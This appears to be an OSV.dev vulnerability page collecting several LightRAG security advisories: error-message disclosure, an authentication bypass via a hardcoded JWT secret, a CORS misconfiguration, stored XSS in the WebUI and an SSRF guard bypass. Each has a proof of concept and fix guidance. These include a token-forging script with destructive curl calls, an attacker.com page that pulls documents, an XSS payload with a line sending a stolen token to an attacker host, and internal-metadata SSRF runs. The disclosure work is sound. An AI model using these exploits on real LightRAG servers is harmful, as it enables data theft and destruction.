            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

May 21, 2026

1.4.16 patch

7 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
